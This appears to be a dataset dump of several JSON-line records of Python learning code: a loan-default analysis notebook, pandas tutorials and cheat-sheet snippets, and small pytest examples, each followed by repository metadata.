data['education'].astype('category')\ndata['education_id'] = data['education_id'].astype('int16')\ndata['family_status'] = data['family_status'].astype('category')\ndata['family_status_id'] = data['family_status_id'].astype('int16')\ndata['gender'] = data['gender'].astype('category')\ndata['income_type'] = data['income_type'].astype('category')\ndata['debt'] = data['debt'].astype('int16')\n# converting total_income took 2 steps, 1st numpy to int, then astype\ndata['total_income'] = data['total_income'].apply(np.int)\ndata['total_income'] = data['total_income'].astype('int16')\ndata['purpose'] = data['purpose'].astype('category')\ndata['years_employed'] = data['years_employed'].astype('float32')\ndata['age_group'] = data['age_group'].astype('category')\n\n\n# In[73]:\n\n\n# check memory usage after\nprint('Memory useage after')\ndata.memory_usage()\n\n\n# In[74]:\n\n\n# calculate total memory usage after\nprint('Memory useage after in MB')\nmemory_after = data.memory_usage().sum() / (1024**2) #converting to \nmemory_change = memory_before - memory_after\nmemory_after\n\n\n# ### Conclusion\n\n# In[75]:\n\n\nprint('Changing data types saved', memory_change, 'MB of memory and changing total_income and days_employed to int type allows for easier reading. Data types were mostly changed using astype, but when changing from float to int apply.np needed to be used. It is good to know that apply.np can only be used on columns with no missing values.') \n\n\n# ### Processing duplicates\n\n# 1. Manage duplicate rows\n# - Calculate duplicate rows.\n# - There is no reason to check for duplicates within columns, as values can repeat.\n# \n# 2. Manage purpose column with stemming or lemmatization\n# \n\n# In[76]:\n\n\ndup_rows = data.duplicated().sum()\npct_duplicated = dup_rows/len(data)\nprint('There are', dup_rows, 'duplicate rows in the file')\nprint('Percentage of duplicate rows = {:.2%}'.format(pct_duplicated))\n\n\n# In[77]:\n\n\n# remove the duplicate rows\ndata = data.drop_duplicates()\n\n\n# In[78]:\n\n\n# verify that there are no more duplicate rows\nprint('Number of duplicates after dropping:')\ndata.duplicated().sum()\n\n\n# In[79]:\n\n\ndata.info()\n\n\n# In[80]:\n\n\n# use stemming to categorize purpose column\nfrom nltk.stem import SnowballStemmer\n\nenglish_stemmer = SnowballStemmer('english')   \n\ndata['purpose_words'] = data['purpose'].str.split().apply(lambda x: [english_stemmer.stem(y) for y in x])\n\ndef purpose_group(purpose_words):\n\n    if 'wed' in purpose_words:\n        return 'wedding'\n    elif 'estat' in purpose_words or 'hous' in purpose_words or 'properti' in purpose_words:\n        return 'real_estate'\n    elif 'car' in purpose_words:\n        return 'car'\n    else:# 'educ' or 'uni' in purpose_words:\n        return 'education'\n    \ndata['purpose_cat'] = data['purpose_words'].apply(purpose_group)\ndata.head(10)\n\n\n# In[81]:\n\n\nprint('Purpose        Count')\ndata['purpose_cat'].value_counts()\n\n\n# In[82]:\n\n\nprint('Total number of purpose values')\nlen(data['purpose_cat'])\n\n\n# ### Conclusion\n\n# 1. Duplicate rows increased from 54 to 71 after filling in missing values for total_income, but that is still only 0.33%. Duplicate rows can happen when datasets are merged or through human error.\n# 2. Duplicate rows were deleted using drop_duplicates() since it is simple to use. Duplicate removal verified.\n# 3. 4 categories (real_estate, car, education, wedding) used to filter purpose column.\n# 4. Total number of values verified (each purpose_cat assigned a category)\n\n# ### Categorizing Data\n\n# Categorizing data stratifies a large collection of values into groups or levels. It is ideal to use when working with age, income, time or anything that could be continuous but needs to be examined in groups.\n# \n# 1. Verify total_income properly categorized income_level for both data df and data_median_income df. See section 1.1 for initial categorizing total_income into income_level.\n# 2. Categorize children into child_groups.\n# 3. See section 1.1 for categorizing dob_years into age_group\n\n# In[83]:\n\n\n# verfiy new column: income_level\ndata['income_level'].value_counts()\n\n\n# In[84]:\n\n\n# verfiy new column: income_level\ndata_median_income['income_level'].value_counts()\n\n\n# In[85]:\n\n\n# create new column based on no children, 1 child, 2 or more children\n# first investigate problem values\ndata['children'].value_counts()\n\n\n# In[86]:\n\n\n# calculate percentage of problem values (-1)\nprint('Percent of erroneous values (-1)')\nprint(47/21454)\n\n\n# In[87]:\n\n\n# change the -1 values to 1 \ndata.loc[data['children'] < 0, ['children']] = 1\n\n\n# In[88]:\n\n\n# calculate percentage of problem values (20)\nprint('Percent of likely erroneous values (20)')\nprint(76/21454)\n\n\n# In[89]:\n\n\n# change the -1 values to 1 \ndata.loc[data['children'] == 20, ['children']] = 2\n\n\n# In[90]:\n\n\ndata['children'].value_counts()\n\n\n# Replaced likely erroneous values (1 for -1) and (2 for 20).\n\n# In[91]:\n\n\n# create a new function, children_fx\ndef children_fx(row):\n    # the income_level is returned according to total_income\n    child = row['children']\n    \n    if child == 0:\n        return 'no children'\n    if child == 1:\n        return '1 child'\n    else:\n        return '2 or more children'\n    \n# create a new column, income_level, based on total_income\ndata['child_groups'] = data.apply(children_fx, axis=1)\nprint('New categories for child groups')\ndata['child_groups'].value_counts()\n\n\n# In[92]:\n\n\n# verify child_groups added \ndata.head()\n\n\n# In[93]:\n\n\n# verify no missing values\nprint('Total number of entries')\ndata['child_groups'].count()\n\n\n# ### Conclusion\n\n# 1. income_level verfied for both data df and data_median_income df. \n# 2. Replaced -1 and 20 values in children, grouped into 3 categories in child_groups. Verified no missing values.\n\n# At this point, clean up df and get rid of cols not used\n\n# In[94]:\n\n\n# remove days_employed and years_employed columns\ndel data['days_employed'] \ndel data['years_employed']\ndel data['dob_years']\ndel data['purpose_words']\ndel data['education_id']\ndel data['family_status_id']\ndata.head()\n\n\n# ## Answer these questions\n\n# - Is there a relation between having kids and repaying a loan on time?\n\n# In[95]:\n\n\n# create a formatting rule for ease of visualization\ndef format_float(value):\n    value = value*100\n    return f'{value:,.2f}%'\npd.options.display.float_format = format_float\n\n\n# In[96]:\n\n\n# create pivot table with percents per child group category\nprint('Pecentage of applicants with a history of default')\ndata.pivot_table(values=['debt'], columns=['child_groups'])\n\n\n# ### Conclusion\n\n# Yes, there is a clear relationship between debt and no children versus debt and any children. Only 7.54% of applicants without a child defaulted, while appliants with 1 or more children defaulted at a rate of 9.17% to 9.29%. Therefore, a applicant with a child may pose a greater default risk.\n\n# - Is there a relation between marital status and repaying a loan on time?\n\n# In[97]:\n\n\n# create pivot table with percents per marital status category\nprint('Pecentage of applicants with a history of default')\ndata.pivot_table(values=['debt'], columns=['family_status'])\n\n\n# ### Conclusion\n\n# Yes, there are differences in default history amoung applicants with different family status. Widowers pose the best risk, as only 6.57% of them defaulted on a loan in the past. Both married and divorced applicants pose a moderate risk (between 7.11% and 7.55% defaulted in the past). The biggest risk is for unmarried applicants (9.75%) and those in civil partnerships (9.35%). Therefore, appliants who are unmarried or in a civil partnership may pose the greatest default risk.\n\n# - Is there a relation between income level and repaying a loan on time?\n\n# In[98]:\n\n\n# create pivot table with percents per income level category\nprint('Pecentage of applicants with a history of default')\nprint('for per income level where missing values replaced')\nprint('based on gender, education level, and income type.')\ndata.pivot_table(values=['debt'], columns=['income_level'])\n\n\n# In[99]:\n\n\n# create pivot table with percents per income level category\nprint('Pecentage of applicants with a history of default')\nprint('for per income level (where missing values replaced')\nprint('by median value')\ndata_median_income.pivot_table(values=['debt'], columns=['income_level'])\n\n\n# ### Conclusion\n\n# Interestingly, the percentages for both df (the one where 1 median value replaced all missing values and the one where gender, education level, and income type guided replacement values) are very similar.\n# \n# Yes, there does seem to be a general trend where the higher the income, the less likely an applicant has defaulted in the past. Those making below60K demonstrate a clear trend towards higher risk as the income drops (7.29%, 7.79%, 8.46%, and then 8.54% for those making less than 20K. The upper half (greater than 60K) defaulted at a rate between 5.13% and 7.23%). Overall, those applicants earning less than 60K may need greater scrutiny as there is a higher likelyhood that they defaulted in the past.\n\n# - How do different loan purposes affect on-time repayment of the loan?\n\n# In[100]:\n\n\n# create pivot table with percents per purpose category\nprint('Pecentage of applicants with a history of default')\ndata.pivot_table(values=['debt'], columns=['purpose_cat'])\n\n\n# ### Conclusion\n\n# Yes, once again there is a relationship between the purpose of the loan and a history of default. Applicants wishing to purchase a car have the greatest historical defalut rate (9.36%), followed by those who want money for education (9.22%). Applicants looking to buy real estate pose the least risk, as only 7.23% defaulted in the past.\n# \n\n# Investigate other columns for potential relationships to guide future analysis.\n\n# In[101]:\n\n\n# create pivot table with percents per age group category\nprint('Pecentage of applicants with a history of default')\ndata.pivot_table(values=['debt'], columns=['age_group'])\n\n\n# Age group: Looking into age may be worthwhile as there appears to be a sharp increase in historical default for those under 40.\n\n# In[102]:\n\n\n# create pivot table with percents per gender category\nprint('Pecentage of applicants with a history of default')\ndata.pivot_table(values=['debt'], columns=['gender'])\n\n\n# Gender: It appears male applicants have a higher rate of default in this sample. Further analysis may be useful.\n\n# In[103]:\n\n\n# create pivot table with percents per income_type category\nprint('Pecentage of applicants with a history of default')\ndata.pivot_table(values=['debt'], columns=['income_type'])\n\n\n# In[104]:\n\n\ndata['income_type'].value_counts()\n\n\n# Income type: Only the 4 groups (employee, business, retiree, civil servant) with the greatest number of applicants could be used for analysis since a sample of 1 or 2 isn't useful. Still, there does seem to be a significant difference between the lowest risk (retiree 5.64%) and highest risk (employee 9.57%). It would be worth more analysis.\n\n# ## General conclusion\n\n# Number of children, family status, income, and the stated purpose of the loan can be used to increase the validity of the credit scoring system. \n# \n# Better loan risk (lower percentage of historical defaults on loans):\n# - no children\n# - widowers\n# - married\n# - divorced\n# - income > 60K\n# - purpose of loan: real estate\n# - purpose of loan: wedding\n# \n# Higher loan risk (higher percentage of historical defaults on loans):\n# - have children\n# - unmarried\n# - in a civil union\n# - income < 60K\n# - purpose of loan: education\n# - purpose of loan: car \n# \n# Additionally, it may be advantageous to pursue analysis of age group, gender, and income type as there do appear to be relationships beween subsections and percentage of defaults.\n", "meta": {"hexsha": "e293669d830ed0e76c4a4f5d3a41d2536957a607", "size": 42002, "ext": "py", "lang": "Python", "max_stars_repo_path": "credit_scoring/credit_scoring.py", "max_stars_repo_name": "renee127/data_science_bootcamp", "max_stars_repo_head_hexsha": "df794fca47fe5e1e5f8db92219145f119553f3e8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "credit_scoring/credit_scoring.py", "max_issues_repo_name": "renee127/data_science_bootcamp", "max_issues_repo_head_hexsha": "df794fca47fe5e1e5f8db92219145f119553f3e8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "credit_scoring/credit_scoring.py", "max_forks_repo_name": "renee127/data_science_bootcamp", "max_forks_repo_head_hexsha": "df794fca47fe5e1e5f8db92219145f119553f3e8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.7488021903, "max_line_length": 697, "alphanum_fraction": 0.708799581, "include": true, "reason": "import numpy", "num_tokens": 10728, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879064146934857, "lm_q2_score": 0.13296424535145931, "lm_q1q2_score": 0.06233239387079846}}
{"text": "# my_lambdata/oop_ refactored_script.py\n# Refactored script code with OOP approach\n\nimport pandas as pd\nimport numpy as np\n\n\nclass NullFinder():\n    def __init__(self, num_list):\n        self.num_list = num_list\n\n    def findnulls(self):\n        is_null = []\n        for x in self.num_list:\n            if x is np.NaN:\n                is_null.append('Yes')\n            else:\n                is_null.append('No')\n        return is_null\n\nif __name__ == '__main__':\n    test_list = [4, 2, 0, np.NaN, 2, 4]\n    nullf = NullFinder(test_list)\n    print(nullf.findnulls())\n    nulls = nullf.findnulls()\n    print(nulls[0])\n", "meta": {"hexsha": "13e15c156fb7878bd15794d9c756d256d48e70e2", "size": 616, "ext": "py", "lang": "Python", "max_stars_repo_path": "my_lambdata/oop_refactored_script.py", "max_stars_repo_name": "jae-finger/lambdata-jae-finger", "max_stars_repo_head_hexsha": "80b25dc286726210de2b7923a553293e32a0465c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "my_lambdata/oop_refactored_script.py", "max_issues_repo_name": "jae-finger/lambdata-jae-finger", "max_issues_repo_head_hexsha": "80b25dc286726210de2b7923a553293e32a0465c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2020-03-31T11:25:10.000Z", "max_issues_repo_issues_event_max_datetime": "2021-02-02T22:35:06.000Z", "max_forks_repo_path": "my_lambdata/oop_refactored_script.py", "max_forks_repo_name": "jae-finger/lambdata_jaefinger", "max_forks_repo_head_hexsha": "80b25dc286726210de2b7923a553293e32a0465c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.8148148148, "max_line_length": 42, "alphanum_fraction": 0.5957792208, "include": true, "reason": "import numpy", "num_tokens": 170, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.13296424363358264, "lm_q1q2_score": 0.06233239109187174}}
{"text": "from bootcamp_example import myfunctions\n\nimport pytest\nimport numpy as np\n\n\ndef test_constant_function_is_one():\n    # Use pytest.approx, or numpy.allclose when testing for floating point equality\n    assert myfunctions.constant_function(123) == pytest.approx(1)\n\n\ndef test_constant_function_typed_is_one():\n    assert myfunctions.constant_function_typed(np.random.randn(10)).sum() == pytest.approx(10)\n\n\ndef test_mean_function_is_correct():\n    # Intentionally failing test for demonstration purposes\n    assert myfunctions.incorrect_mean([0, 2]) == pytest.approx(1)\n", "meta": {"hexsha": "1632d5851bce02bca9bc3143fe281de45d56df04", "size": 569, "ext": "py", "lang": "Python", "max_stars_repo_path": "lecture1/python-example/tests/test_functions.py", "max_stars_repo_name": "rollingeddoe/cds-bootcamp-1", "max_stars_repo_head_hexsha": "81898b60f4b63186a43cb945e7d2ef2efa01f6a9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 6, "max_stars_repo_stars_event_min_datetime": "2021-09-02T18:36:11.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-24T19:56:38.000Z", "max_issues_repo_path": "lecture1/python-example/tests/test_functions.py", "max_issues_repo_name": "rollingeddoe/cds-bootcamp-1", "max_issues_repo_head_hexsha": "81898b60f4b63186a43cb945e7d2ef2efa01f6a9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lecture1/python-example/tests/test_functions.py", "max_forks_repo_name": "rollingeddoe/cds-bootcamp-1", "max_forks_repo_head_hexsha": "81898b60f4b63186a43cb945e7d2ef2efa01f6a9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 8, "max_forks_repo_forks_event_min_datetime": "2021-09-02T23:46:30.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-27T09:54:48.000Z", "avg_line_length": 29.9473684211, "max_line_length": 94, "alphanum_fraction": 0.7855887522, "include": true, "reason": "import numpy", "num_tokens": 127, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.13296423676207597, "lm_q1q2_score": 0.062332387870573824}}
{"text": "import pandas as pd \r\nimport numpy as np \r\n\r\n'''\r\nStandard python indexing methods work fine with pandas data structures but its recommended to use pandas indexing methods which are \r\nheavily optimized\r\n'''\r\ndict = {\r\n    'A' : pd.Series(np.random.randn(5)),\r\n     'g' : pd.Series(np.random.randn(5)),\r\n    'r' : pd.Series(np.random.randn(5)),\r\n\r\n}\r\ndf = pd.DataFrame(dict)\r\ndf.index = [ chr(i) for i in range(65,70)]\r\nprint(df)\r\n\r\n#selecting using standard selection methods, ny using label or index\r\n#print(df[0],'\\n',df[0]) #access using index\r\nprint('\\n',df['A'],'\\n',df['A':'C']) #Access using labels 1st method selects columns 2nd slices through rows\r\nprint('\\n',df[0:2])\r\nprint('\\nList selection:\\n',df[['A','r']])\r\n\r\n#Let's use pandas optimized method accessing\r\n#1)accessing using labels:\r\nprint('\\n D of A' ,df.loc['D',['A']])\r\nprint('\\n\\n List selection ',df.loc['B':'D',['A','r']])\r\n\r\n#2)Selection using index:\r\nprint('3\\n\\n',df.iloc[1]) #print particular column\r\nprint('\\n\\n',df.iloc[0:3,0:2])\r\n\r\n#accessing a scalar:\r\nprint('\\n scalar at 1,1',df.iloc[1,1])\r\n####!!!NOTE: it is recommended to use iat for accessing a scalar as it is optimized\r\nprint('\\n scalar at 1,1',df.iat[1,1])\r\n\r\n'''\r\nMore about indexing and advanced indexing:\r\nhttp://pandas.pydata.org/pandas-docs/stable/indexing.html#indexing\r\nhttp://pandas.pydata.org/pandas-docs/stable/advanced.html#advanced\r\n'''", "meta": {"hexsha": "2793501052d30463f92ed7ae8e937adbf9aa7eb5", "size": 1386, "ext": "py", "lang": "Python", "max_stars_repo_path": "2indexing.py", "max_stars_repo_name": "AyushExel/Pandas-Tutorial", "max_stars_repo_head_hexsha": "a542f0c2238ad0660eb7939bbb6527c879bcacb7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "2indexing.py", "max_issues_repo_name": "AyushExel/Pandas-Tutorial", "max_issues_repo_head_hexsha": "a542f0c2238ad0660eb7939bbb6527c879bcacb7", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "2indexing.py", "max_forks_repo_name": "AyushExel/Pandas-Tutorial", "max_forks_repo_head_hexsha": "a542f0c2238ad0660eb7939bbb6527c879bcacb7", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.0, "max_line_length": 133, "alphanum_fraction": 0.6652236652, "include": true, "reason": "import numpy", "num_tokens": 396, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.1276526385966317, "lm_q1q2_score": 0.062330663792435445}}
{"text": "# reading file with pandas\n# Pandas is a python module to read files and manipulate its contents (and also plot it)\n# the read data is stored in what is called as a dataframe (like excel worksheet, which can be viewed in Spyder)\n# This example shows how to read file which we wrote in the previous assignment (09-file-write)\n# Pandas can also be used to write files.\n\nimport numpy as np \nimport matplotlib.pyplot as plt\n\n# You must also import pandas and if it is not installed use the anaconda navigator -> environments and search for pandas and install it\n# You can also see detailed instructions to install in https://github.com/deepaksamuel/python-tutorials and see the README.md\nimport pandas as pd \n\n# We have no headers in the file, we name the columns as i and i-squared as shown below. The names will be used while plotting\ndf = pd.read_csv(\"out.txt\",header=None, names=[\"i\",\"i-squared\"]) # the dataframe will be shown in Spyder IDE\n\nprint(df.head()) # this prints out the first 5 elements in the file\n\n# you can also plot from a dataframe\ndf.plot(x=\"i\",y=\"i-squared\")\nplt.show()\n\n# if the file has NO header rows, you must state that explicitly\n# more info at https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\n\n# if you want to have the full view of the dataframe, go to variable explorer in the Spyder IDE and click on the parameter df. \n# A separate window will open show the file in an Excel Sheet like view.", "meta": {"hexsha": "61b5558def6818a867931abcba5ae2e0226a7ab9", "size": 1451, "ext": "py", "lang": "Python", "max_stars_repo_path": "10-pandas-read-file.py", "max_stars_repo_name": "deepaksamuel/python-tutorials", "max_stars_repo_head_hexsha": "9e08c7b589e6b00c2c1781ad09fc76944c2f7c87", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-02-20T17:31:09.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-20T17:31:09.000Z", "max_issues_repo_path": "10-pandas-read-file.py", "max_issues_repo_name": "deepaksamuel/python-tutorials", "max_issues_repo_head_hexsha": "9e08c7b589e6b00c2c1781ad09fc76944c2f7c87", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "10-pandas-read-file.py", "max_forks_repo_name": "deepaksamuel/python-tutorials", "max_forks_repo_head_hexsha": "9e08c7b589e6b00c2c1781ad09fc76944c2f7c87", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-02-09T14:41:56.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-09T14:41:56.000Z", "avg_line_length": 53.7407407407, "max_line_length": 136, "alphanum_fraction": 0.7629221227, "include": true, "reason": "import numpy", "num_tokens": 343, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.12765261702501562, "lm_q1q2_score": 0.0623306532593735}}
{"text": "import numpy as np\nfrom example import algs\n\ndef test_pointless_sort():\n    # generate random vector of length 10\n    x = np.random.rand(10)\n\n    # check that pointless_sort always returns [1,2,3]\n    assert np.array_equal(algs.pointless_sort(x), np.array([1,2,3]))\n\n    # generate a new random vector of length 10\n    x = np.random.rand(10)\n\n    # check that pointless_sort still returns [1,2,3]\n    assert np.array_equal(algs.pointless_sort(x), np.array([1,2,3]))\n\ndef test_bubblesort():\n    # Actually test bubblesort here. It might be useful to think about\n    # some edge cases for your code, where it might fail. Some things to\n    # think about: (1) does your code handle 0-element arrays without\n    # failing, (2) does your code handle characters?\n\n    x = np.array([1,2,4,0,1])\n\n    # for now, just attempt to call the bubblesort function, should\n    # actually check output\n    algs.bubblesort(x)\n\ndef test_quicksort():\n\n    x = np.array([1,2,4,0,1])\n    # for now, just attempt to call the quicksort function, should\n    # actually check output\n    algs.quicksort(x)\n", "meta": {"hexsha": "33c8234b98656dbe781518779b01e5c261ddda1c", "size": 1079, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/test_algs.py", "max_stars_repo_name": "miriam-goldman/example", "max_stars_repo_head_hexsha": "616a67b0edfc6bab264fb57d9b6d9037857e4f7e", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test/test_algs.py", "max_issues_repo_name": "miriam-goldman/example", "max_issues_repo_head_hexsha": "616a67b0edfc6bab264fb57d9b6d9037857e4f7e", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/test_algs.py", "max_forks_repo_name": "miriam-goldman/example", "max_forks_repo_head_hexsha": "616a67b0edfc6bab264fb57d9b6d9037857e4f7e", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.8285714286, "max_line_length": 72, "alphanum_fraction": 0.6886005561, "include": true, "reason": "import numpy", "num_tokens": 298, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.12765261702501562, "lm_q1q2_score": 0.062330653259373495}}
{"text": "import pandas as pd\r\n\r\n## READ & WRITE\r\n    # Pickle\r\ndf = pd.read_pickle('psi.pickle')\r\ndf.to_pickle('normal.pkl')\r\n    # CSV\r\ndf = pd.read_csv('shenzhen_processed.csv', low_memory=False)\r\ndf = pd.read_csv('olympics.csv', index_col=0, skiprows=1)   #take 1st col as index, and remove 1st row\r\ndf.to_csv('shenzhen_processed.csv', index=False)\r\ndf = pd.read_csv(file, usecols=['col1','col2']) #use only specific columns; can save a lot of memory\r\n    # APPENDING DF TO EXISTING CSV\r\ndf = df.to_csv('my_csv.csv', mode='a', header=False)\r\n    # EXCEL\r\n    # reading excel has various differences compared to csv\r\n    # dtype of a col to str will convert NaN into 'nan', while csv preserves the NaN\r\n    # dtype of a col to str will not preserve numeric 0 padding, while csv preserves\r\ndf = pd.read_excel('shenzhen_processed.xlsx', sheet_name=0) #sheetname starts from 0\r\ndf = pd.read_csv(\"P00000001-ALL.csv\", nrows=20) # limit to only 20 rows\r\ndf.to_excel('output.xlsx', index=False)\r\n    # output multiple df in different Excel sheets\r\nfrom pandas import ExcelWriter\r\nwriter = ExcelWriter(xls_path)\r\nfor n, df in enumerate(list_dfs):\r\n    df1.to_excel(writer,'sheet%s' % n)\r\nwriter.save()\r\n    # TXT\r\nutown=pd.read_table('university_towns.txt', sep=',', header=None)\r\ndf1 = pd.read_table('training_text', sep='\\|\\|', engine='python', skiprows=1, names=[\"ID\",\"Text\"]) #note that any delimiter more than 1 is a reg, have to use \\ to override\r\n    # convert a clip board into dataframe!!!\r\npd.read_clipboard()\r\n    # JSON\r\ndf=pd.read_json(path)\r\ndf.to_json('/Users/xxx/Desktop/d.json') # display by index\r\nout = df.to_json(orient=\"records\") # display by row, key=colname, value=cell value\r\ndict_ = df.to_dict(orient=\"list\") # display by cols, key=colname, value=list of values\r\n    # DBF\r\nfrom simpledbf import Dbf5\r\ndbf = Dbf5('test.dbf')\r\ndf = dbf.to_dataframe()\r\n    # Sample the data to speed up computation\r\ndf = df.sample(frac=0.1, random_state=10)\r\n\r\n# set column as string\r\ndf = pd.read_csv('sample.csv', dtype={'ID': object}) #no diff if you '' the data type\r\n\r\n# encoding error, eg: 'utf-8' codec can't decode byte 0x92 in position 763: invalid start byte\r\n# use below to decode\r\ndf = pd.read_csv(email, encoding = \"ISO-8859-1\")\r\n\r\n\r\n#--------------------------------------------------------\r\n## SETTINGS\r\npd.set_option('display.max_columns',1) # expand column height\r\npd.set_option('display.max_rows', None) # show all rows\r\npd.set_option('display.max_colwidth', -1) # no limit to column width\r\npd.reset_option('all') # reset set options\r\n\r\n\r\n\r\n#--------------------------------------------------------\r\n## PERFORMANCE\r\nfirst_five = pd.read_csv('loans_2007.csv', nrows=5) #call only first 5 rows\r\n\r\ndf._data #see how BlockManager classify dataframe by dtypes\r\ndf.info(memory_usage=\"deep\") # display memory usage, dtype, null/non-null\r\ndf.memory_usage(deep=True) # display only memory usage for each column\r\n\r\n# step1: filter dataframe to select certain dtype\r\ndf_obj = df.select_dtypes(include=['integer'])\r\n# step2: auto-determinine optimal dtype so that memory usage is minimised; eg change form int64 to int16\r\ndf['columnNm'] = pd.to_numeric(df['columnNm'], downcast='integer')\r\ndf['columnNm'].dtype\r\n\r\n# convert objects into category to minimise memory usage as its converted to int backend\r\n# only use this when unique values <50% of rows & that there is no need for numeric calculations\r\ndf['columnNm'] = df['columnNm'].astype('category')\r\n\r\n\r\n\r\n#--------------------------------------------------------\r\n## BUILDING A NEW DATAFRAME\r\n    #build dataframe from a for loop\r\nx = 0\r\nlist = []\r\nfor i in df.columns: # how many nan in each column? Value\r\n    list.append({'column':x, 'nan_count':df[i].isnull().values.sum(), 'variable':i})\r\n    x+=1\r\ndf_nan = pd.DataFrame(list)\r\n\r\n    #create random dataframe\r\ndf1 = pd.DataFrame(np.random.randint(1, 5, (10,2)), columns=['a','b']) #10 rows, 2 columns, with numbers 1 to 5\r\n\r\n    #from a dictionary\r\ndf = pd.DataFrame()\r\nnewdf['Date'] = x.keys()    #where x is a dictionary\r\ndf['DateValue'] = x.values()\r\n\r\n    # build a df with just one row of data. Note the nested list to change it to row\r\nprediction = pd.DataFrame([[4, 21, 1, 5, 91,1984]], \\\r\n                          columns=['flat_type_code','town_code','flat_model_code', \\\r\n                                   'storey_range_code','floor_area_sqm', 'lease_commence_date'])\r\n\r\n    # from dictionary\r\nd = {'Desert':2345,'Mountain':8764,'Water':6689,'Land':7332,'Forest':1050,'Snow':3741, \\\r\n              'Is_Raining_ec':0,'Had_A_Good_Sleep_ec':0,'Average_Temperature':40}\r\ndf = pd.DataFrame([list(d.values())], columns=list(d.keys()))\r\n\r\n    # from nested list (with headers)\r\ndf = pd.DataFrame(data[1:],columns=data[0])\r\n\r\n    #duplicate a dataframe\r\ndf2 = df.copy()\r\n\r\n\r\n#--------------------------------------------------------\r\n## EXPLORATORY\r\ndf.info() #total non-null rows, dtypes, columns\r\ndf.shape #total number of rows by columns\r\ndf.size #total number of rows\r\nlen(df) #total number of rows too\r\nlen(df.columns) #total number of columns\r\ndf.head(2) #top 2 rows\r\ndf.dtypes #format\r\ndf.describe() #mean, std, count, etc. only numeric formated columns\r\n\r\n\r\n#--------------------------------------------------------\r\n## FORMAT\r\ndf.dtypes\r\ndf['hour'] = df['hour'].astype('int64')\r\ndf['text'] = df['text'].astype('str') # string will not preserve NaN, unlike object\r\ndf['col3'] = df['col2'].astype('category') # category type has int code in the backend\r\n    #coerce, any errors will be converted to NaN\r\ndf['price'] = pd.to_numeric(df['price'], errors='coerce')\r\ndf['Time'] = pd.to_datetime(df['Time'], errors='coerce')\r\n\r\n\r\n#--------------------------------------------------------\r\n## CHUNK-SIZE\r\ndtypes = {\"ConstituentBeginDate\": \"float\", \"ConstituentEndDate\": \"float\"}\r\nchunk_iter = pd.read_csv(\"moma.csv\", chunksize=250, dtype=dtypes) #each chunk is 250 rows\r\nlifespans = []\r\nfor chunk in chunk_iter:\r\n    diff = chunk['ConstituentEndDate'] - chunk['ConstituentBeginDate']\r\n    lifespans.append(diff)\r\nlifespans_dist = pd.concat(lifespans)\r\nprint(lifespans_dist)\r\n\r\n\r\n#--------------------------------------------------------\r\n## Using SQL\r\n    \r\n# Connection to database\r\n    # sqlite connection\r\nimport sqlite3\r\nconn = sqlite3.connect(sqlitePath) \r\ndf= pd.read_sql_query(\"SELECT * FROM table\", conn)\r\n\r\nfrom sqlalchemy import create_engine\r\nengine = 